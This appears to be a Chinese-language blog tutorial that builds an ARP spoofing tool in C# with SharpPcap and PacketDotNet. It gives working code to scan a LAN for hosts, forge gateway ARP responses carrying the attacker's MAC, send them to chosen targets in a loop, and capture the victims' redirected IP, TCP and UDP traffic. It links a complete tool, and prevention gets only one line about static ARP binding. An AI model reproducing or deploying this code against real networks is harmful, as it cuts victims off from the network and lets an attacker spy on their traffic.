前言
本文章纯属技术讨论,并且涵盖了如何去防止ARP攻击的手段。
ARP作用
学到一点网络的都知道,ARP本身用于IP地址和MAC地址的转换,主要是在七层网络协议中,网络层之下就是使用MAC地址进行通信了,这样的设计本身也是底层可以无关上层通讯协议的变化而变化,而提供一个统一的接口。
比如局域网中的A主机和B主机,如果A主机的ARP缓存中有B主机的MAC地址,则直接发送数据到对应MAC地址,没有则通过发送ARP广播数据包的方式,根据回应来更新ARP缓存。
ARP欺骗原理
创建一个arp包,将网关ip地址和错误的网关mac地址发送给目标主机,让主机更新错误的mac-ip地址映射到缓存中。
工具
开源的.net arp库: SharpPcap,PacketDotNet
项目中导入:
<PackageReference Include="PacketDotNet" Version="1.4.7" /> | |
<PackageReference Include="SharpPcap" Version="6.2.5" /> |
实战
获取本机所有的网络设备
LibPcapLiveDeviceList.Instance
获取对应设备的ip和mac地址,以及网关ip
foreach (var address in LibPcapLiveDevice.Addresses) | |
{ | |
if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6) | |
{ | |
//ipv4地址 | |
if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork) | |
{ | |
LocalIp = address.Addr.ipAddress; | |
break; | |
} | |
} | |
} | |
foreach (var address in LibPcapLiveDevice.Addresses) | |
{ | |
if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE) | |
{ | |
LocalMac = address.Addr.hardwareAddress; // 本机MAC | |
} | |
} | |
var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP | |
//ipv4的gateway | |
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork); |
获取网关mac地址
通过发送arp包到网关,获取响应包,从响应包中获取mac地址。
1、创建arp包
var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp); | |
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP); | |
ethernetPacket.PayloadPacket = arpPacket; |
2、发送arp包到网关,并且等待下一个回复包。
LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20); | |
LibPcapLiveDevice.Filter = arpFilter; | |
var lastRequestTime = DateTime.FromBinary(0); | |
var requestInterval = TimeSpan.FromMilliseconds(200); | |
ArpPacket arpPacket = null; | |
var timeoutDateTime = DateTime.Now + _timeout; | |
while (DateTime.Now < timeoutDateTime) | |
{ | |
if (requestInterval < (DateTime.Now - lastRequestTime)) | |
{ | |
LibPcapLiveDevice.SendPacket(request); | |
lastRequestTime = DateTime.Now; | |
} | |
if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0) | |
{ | |
if (packet.Device.LinkType != LinkLayers.Ethernet) | |
{ | |
continue; | |
} | |
var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray()); | |
arpPacket = pack.Extract<ArpPacket>(); | |
if (arpPacket == null)//是否是一个arp包 | |
{ | |
continue; | |
} | |
if (arpPacket.SenderProtocolAddress.Equals(destIP)) | |
{ | |
break; | |
} | |
} | |
} | |
// free the device | |
LibPcapLiveDevice.Close(); | |
return arpPacket?.SenderHardwareAddress; |
扫描局域网内活动ip和mac地址
1、设置扫描的ip区间,生成每个ip的arp请求包
var arpPackets = new Packet[targetIPList.Count]; | |
for (int i = 0; i < arpPackets.Length; ++i) | |
{ | |
arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp); | |
} |
2、发送arp包到各个ip,如果回复了则在线,超时则认为不活动
if (_cancellationTokenSource.IsCancellationRequested) | |
{ | |
break; | |
} | |
var lastRequestTime = DateTime.FromBinary(0); | |
var requestInterval = TimeSpan.FromMilliseconds(200); | |
var timeoutDateTime = DateTime.Now + _timeout; | |
while (DateTime.Now < timeoutDateTime) | |
{ | |
if (_cancellationTokenSource.IsCancellationRequested) | |
{ | |
break; | |
} | |
if (requestInterval < (DateTime.Now - lastRequestTime)) | |
{ | |
LibPcapLiveDevice.SendPacket(arpPackets[i]); | |
lastRequestTime = DateTime.Now; | |
} | |
if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0) | |
{ | |
if (packet.Device.LinkType != LinkLayers.Ethernet) | |
{ | |
continue; | |
} | |
var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray()); | |
var arpPacket = pack.Extract<ArpPacket>(); | |
if (arpPacket == null) | |
{ | |
continue; | |
} | |
//回复的arp包并且是我们请求的ip地址 | |
if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i])) | |
{ | |
Application.Current.Dispatcher.Invoke(() => | |
{ | |
///增加到IPlist中 | |
Computers.Add(new Computer() | |
{ | |
IPAddress = arpPacket.SenderProtocolAddress.ToString(), | |
MacAddress = arpPacket.SenderHardwareAddress?.ToString(), | |
}); | |
}); | |
break; | |
} | |
} | |
} |
指定ip/ips攻击
攻击包就不能创建请求包, 应该伪造一个来自网关的响应包,从而将网关错误的mac地址更新到目标主机的缓存中。
1、创建错误的响应包
private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac) | |
{ | |
var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp); | |
var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP); | |
ethernetPacket.PayloadPacket = arpPacket; | |
return ethernetPacket; | |
} |
调用创建arp响应包,但是可以看到最后一个mac地址,应该是网关的mac地址,我们替换成了自己本地mac地址。
BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);
2、直接以1000ms的间隔轮询发送响应包到目标主机
var aTask = Task.Run(async () => | |
{ | |
while (true) | |
{ | |
if (_cancellationTokenSource1.IsCancellationRequested) | |
{ | |
break; | |
} | |
try | |
{ | |
LibPcapLiveDevice.SendPacket(packet); | |
} | |
catch (Exception ex) | |
{ | |
MessageBox.Show(ex.Message); | |
} | |
await Task.Delay(1000); | |
} | |
LibPcapLiveDevice.Close(); | |
}, _cancellationTokenSource1.Token); |
获取网络数据包
此时的被攻击的电脑,由于它的网关对应的MAC地址被我们替换成了自己电脑的MAC,所以原本通过网关发送的数据包,都会发送到我们电脑上来,我们不做任何处理就会导致电脑无法上网,我们可以通过监听网卡查看来自该电脑的数据包,从而窥探一些请求。
/// <summary> | |
/// 监听到攻击的网卡收到的数据包 | |
/// </summary> | |
/// <param name="sender"></param> | |
/// <param name="e"></param> | |
private void OnPacketArrival(object sender, PacketCapture e) | |
{ | |
try | |
{ | |
var device = sender as LibPcapLiveDevice; | |
var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray()); | |
if (packet != null) | |
{ | |
if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据 | |
{ | |
var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString()); | |
if (targetComputer != null) | |
{ | |
var ipPacket = ethernetPacket.Extract<IPPacket>(); | |
if (ipPacket != null) | |
{ | |
var packetViewModel = new PacketViewModel(); | |
packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString(); | |
packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString(); | |
var udpPacket = ipPacket.Extract<UdpPacket>(); | |
var tcpPacket = ipPacket.Extract<TcpPacket>(); | |
packetViewModel.Type = "IP"; | |
if (udpPacket != null) | |
{ | |
packetViewModel.SourcePort = udpPacket.SourcePort; | |
packetViewModel.TargetPort = udpPacket.DestinationPort; | |
packetViewModel.Type = "UDP"; | |
} | |
if (tcpPacket != null) | |
{ | |
packetViewModel.SourcePort = tcpPacket.SourcePort; | |
packetViewModel.TargetPort = tcpPacket.DestinationPort; | |
packetViewModel.Type = "TCP"; | |
} | |
targetComputer.AddPacket(packetViewModel); | |
} | |
else | |
{ | |
///mac地址没啥好记录的都知道了 | |
var packetViewModel = new PacketViewModel(); | |
packetViewModel.Type = "以太网"; | |
targetComputer.AddPacket(packetViewModel); | |
} | |
} | |
} | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} |
我们解析了IP数据包,TCP以及UDP包。
工具页面
如何预防?
一般只需要本地将网关和MAC地址静态绑定即可。
完整代码和工具
https://github.com/BruceQiu1996/ArpSpoofing